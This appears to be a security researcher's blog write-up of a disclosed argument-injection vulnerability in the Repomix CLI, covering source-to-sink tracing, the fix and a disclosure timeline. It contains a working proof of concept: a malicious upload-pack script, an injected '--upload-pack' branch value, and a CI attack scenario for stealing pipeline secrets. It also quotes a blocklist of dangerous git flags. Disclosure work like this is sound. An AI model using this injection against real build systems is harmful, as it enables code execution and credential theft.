July 4, 2026
How I Turned a Branch Name into Remote Code Execution
A source-to-sink analysis of CVE-2026–49987 in Repomix — and how a single missing delimiter bypassed built-in security controls and leads…

By Kakashi
5 min read
A source-to-sink analysis of CVE-2026–49987 in Repomix — and how a single missing delimiter bypassed built-in security controls and leads to RCE
By Abhijith S. ⌯⌲ GitHub (@kakashi-kx) | ⌯⌲ Twitter (@kakashi4kx) | ⌯⌲ LinkedIn
CVE: CVE-2026–49987
Severity: High (CVSS 8.8)
CWE: CWE-88 — Improper Neutralization of Argument Delimiters in a Command
Affected Package: repomix (npm) — 10,000+ GitHub stars
Introduction
Every security researcher remembers their first CVE. Mine came not from an automated scanner or a lucky bug bounty tip, but from a structured, manual methodology I'd been refining for months: source-to-sink analysis.
This is the story of how I discovered a critical command injection vulnerability in Repomix, a highly popular developer tool that packages entire codebases into AI-friendly formats. Because it is heavily integrated into CI/CD pipelines, this vulnerability allowed for zero-click Remote Code Execution (RCE) via argument injection, entirely bypassing the application's built-in security controls.
Whether you're an aspiring bug hunter learning how to trace execution flows, or a developer wanting to understand why a single missing delimiter can compromise a build server, this walkthrough breaks down the exact attack path.
What Is Repomix?
Repomix (formerly Repopack) is a Node.js CLI tool that takes a Git repository and converts the codebase into a single, optimized text file for ingestion by Large Language Models (LLMs). Think of it as: "Here is my entire repo, ChatGPT — find the bug."
To do this, it handles:
- Cloning remote repositories (HTTPS and SSH)
- Checking out specific branches, tags, or commits
- Filtering, formatting, and outputting the code
That first capability — cloning remote repositories with user-specified branches — is where the vulnerability lived.
The Methodology: Source-to-Sink Analysis
Before diving into the code, let's establish the methodology. Every injection vulnerability follows the same fundamental pattern:
[Source] → [Transformation/Validation] → [Sink]
- Source: Where user input enters the application (e.g., CLI flags, HTTP headers).
- Transformation: Any sanitization or blocklisting applied to the input.
- Sink: A dangerous execution function (
exec(),eval(), file operations).
The goal is simple: Identify the sinks, trace backward to the sources, and look for gaps in the transformation layer. The most critical vulnerabilities don't live in completely unprotected code; they live in the forgotten paths where protections were applied inconsistently.
The Hunt
Step 1: Finding the Sinks
I started by searching the Repomix codebase for dangerous Node.js functions:
grep -rn "exec\|execSync\|spawn\|execFile" --include="*.ts" src/grep -rn "exec\|execSync\|spawn\|execFile" --include="*.ts" src/This immediately flagged src/core/git/gitCommand.ts, the core engine for Git operations. The primary sink was execFileAsync, a promisified wrapper for Node's child_process.execFile.
Step 2: Mapping the Sinks
The file contained multiple Git subprocess executions:
// Line 124: fetch (VULNERABLE)
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch],
gitRemoteOpts,
);
// Line 151: checkout (VULNERABLE)
await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]);
// Line 154: clone (SAFE)
await deps.execFileAsync('git', ['clone', '--depth', '1', '--', url, directory]);// Line 124: fetch (VULNERABLE)
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch],
gitRemoteOpts,
);
// Line 151: checkout (VULNERABLE)
await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]);
// Line 154: clone (SAFE)
await deps.execFileAsync('git', ['clone', '--depth', '1', '--', url, directory]);Notice the discrepancy? The clone command safely uses --, a standard Unix convention that forces the command parser to treat everything following it as a positional argument, not a flag. The fetch and checkout commands omitted this entirely.
Step 3: Tracing Back to the Source
I needed to know if an attacker could control the remoteBranch variable. Tracing the call chain revealed a direct, unhindered path:
src/cli/cliRun.ts:156 → User passes --remote-branch <value>
↓
src/cli/actions/remoteAction.ts:196 → Passed directly
↓
src/core/git/gitCommand.ts:118 → execGitShallowClone(url, dir, remoteBranch)
↓
[SINK] execFileAsync('git', ['...', 'origin', remoteBranch])src/cli/cliRun.ts:156 → User passes --remote-branch <value>
↓
src/cli/actions/remoteAction.ts:196 → Passed directly
↓
src/core/git/gitCommand.ts:118 → execGitShallowClone(url, dir, remoteBranch)
↓
[SINK] execFileAsync('git', ['...', 'origin', remoteBranch])Step 4: The Security Control Bypass
Here is the twist. The developers knew about argument injection. I found this function in the same file:
export const validateGitUrl = (url: string): void => {
const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];
if (dangerousParams.some((param) => url.includes(param))) {
throw new RepomixError(`Invalid repository URL...`);
}
};export const validateGitUrl = (url: string): void => {
const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];
if (dangerousParams.some((param) => url.includes(param))) {
throw new RepomixError(`Invalid repository URL...`);
}
};This is a textbook security bypass. The defense existed, but it was explicitly bound only to the repository url parameter. By leaving remoteBranch unvalidated, attackers could simply pass the exact same malicious flags through a secondary vector.
The Exploit: Achieving RCE
Git's --upload-pack option specifies the path to the executable that runs on the remote side during a fetch. If you use local transport protocols (like file://), this executable runs on the local machine with the privileges of the user executing the git command.
Proof of Concept
1. Create a Malicious Payload First, we create a script that dumps the system execution context to prove RCE:
cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-packcat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack2. Trigger the Vulnerability via Repomix We point Repomix at a dummy local repository and inject the malicious flag into the branch parameter:
repomix --remote file:///tmp/dummy-remote.git \
--remote-branch '--upload-pack=/tmp/malicious-pack'repomix --remote file:///tmp/dummy-remote.git \
--remote-branch '--upload-pack=/tmp/malicious-pack'3. What Executes Under the Hood: Because the input isn't validated or separated by a -- delimiter, Git interprets our "branch name" as a command-line option.
// What the developer intended:
execFileAsync('git', ['-C', '/tmp/repo', 'fetch', '--depth', '1', 'origin', 'main']);
// What actually executes:
execFileAsync('git', ['-C', '/tmp/repo', 'fetch', '--depth', '1', 'origin', '--upload-pack=/tmp/malicious-pack']);// What the developer intended:
execFileAsync('git', ['-C', '/tmp/repo', 'fetch', '--depth', '1', 'origin', 'main']);
// What actually executes:
execFileAsync('git', ['-C', '/tmp/repo', 'fetch', '--depth', '1', 'origin', '--upload-pack=/tmp/malicious-pack']);4. Verification The fetch operation ultimately errors out (since our script doesn't speak the Git protocol), but the code executes before Git validates the response:
$ cat /tmp/repomix-pwned.txt
=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi),27(sudo)...$ cat /tmp/repomix-pwned.txt
=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi),27(sudo)...Complete system compromise achieved.
Real-World Impact: CI/CD at Risk
Repomix isn't just run on local machines; it is heavily automated in CI/CD pipelines to prepare codebases for AI code reviews. Consider a standard GitHub Actions workflow:
- name: Package repository for AI review
run: |
repomix --remote ${{ github.event.pull_request.head.repo.url }} \
--remote-branch ${{ github.event.pull_request.head.ref }}- name: Package repository for AI review
run: |
repomix --remote ${{ github.event.pull_request.head.repo.url }} \
--remote-branch ${{ github.event.pull_request.head.ref }}If an attacker submits a Pull Request with a crafted branch name (e.g., --upload-pack=/tmp/evil.sh), the CI runner will execute their script. This leads to:
- Pipeline Secret Exfiltration: Access to hardcoded environment variables like AWS Keys, NPM tokens, and deployment credentials.
- Supply Chain Poisoning: The ability to silently inject malicious code into build artifacts before they are pushed to production registries.
The Fix: Why --end-of-options matters
The maintainer (Kazuki Yamada) responded incredibly fast, implementing a brilliant, multi-layered fix. Rather than just updating the blocklist, they implemented proper Git delimiters.
// Before (Vulnerable):
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch]
// After (Fixed):
['-C', directory, 'fetch', '--depth', '1', 'origin', '--end-of-options', remoteBranch]// Before (Vulnerable):
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch]
// After (Fixed):
['-C', directory, 'fetch', '--depth', '1', 'origin', '--end-of-options', remoteBranch]The Deep Technical Nuance
You might wonder: Why use --end-of-options instead of standard --?
Using -- in a git checkout context forces Git to view the following argument strictly as a file path. If the branch doesn't exist locally yet, git checkout -- <branch> will fail.
--end-of-options (introduced in Git v2.24) was designed specifically for this scenario. It tells the parser to stop processing flags, but still allows Git to dynamically determine if the trailing argument is a revision (branch) or a pathspec. It preserves functionality while completely neutralizing argument injection.
Key Takeaways
For Developers
execFileDoes Not Prevent Argument Injection: A common myth is that bypassing the shell (execvsexecFile) makes you safe.execFileprevents shell metacharacter injection (;, |, &), but CLI tools like Git parse their own arguments.- Delimit Everything: Whenever user input is passed to a CLI tool, always terminate options safely using -- or
--end-of-options.
For Bug Hunters
- Follow the Security Controls: The presence of
validateGitUrltold me exactly what the developers were worried about. Finding where they forgot to apply those controls is where the critical bugs live. - Methodology Beats Scanners: Automated tools often miss contextual bypasses in complex CLI wrappers. Reading the code source-to-sink will always uncover the logic flaws that scanners leave behind.
Timeline
- May 18, 2026: Vulnerability discovered & disclosed via GitHub Security.
- May 24, 2026: Maintainer acknowledged and engineered a fix.
- May 26, 2026: Fix merged, v1.14.1 released, and advisory published.
- June 2026: CVE-2026–49987 officially assigned.
Massive shoutout to Kazuki Yamada for the incredibly professional and rapid remediation process.
Author: Abhijith S. i am a independent security researcher and vulnerability analyst specializing in advanced web exploitation, CI/CD pipeline security, and manual source-to-sink code auditing. As an active bug bounty hunter on HackerOne and Bugcrowd, my research focuses on uncovering high-impact vulnerabilities — ranging from complex RCEs to WAF bypasses — within enterprise applications and global infrastructure. When he isn't dissecting open-source code, he is developing custom threat emulation tooling and pushing the boundaries of offensive security.
Let's connect:
- GitHub: @kakashi-kx
- Twitter/X: @kakashi4kx
- LinkedIn: kakashi4kx
If you found this breakdown valuable, please give it a share! Let's help secure the open-source ecosystem against argument injection.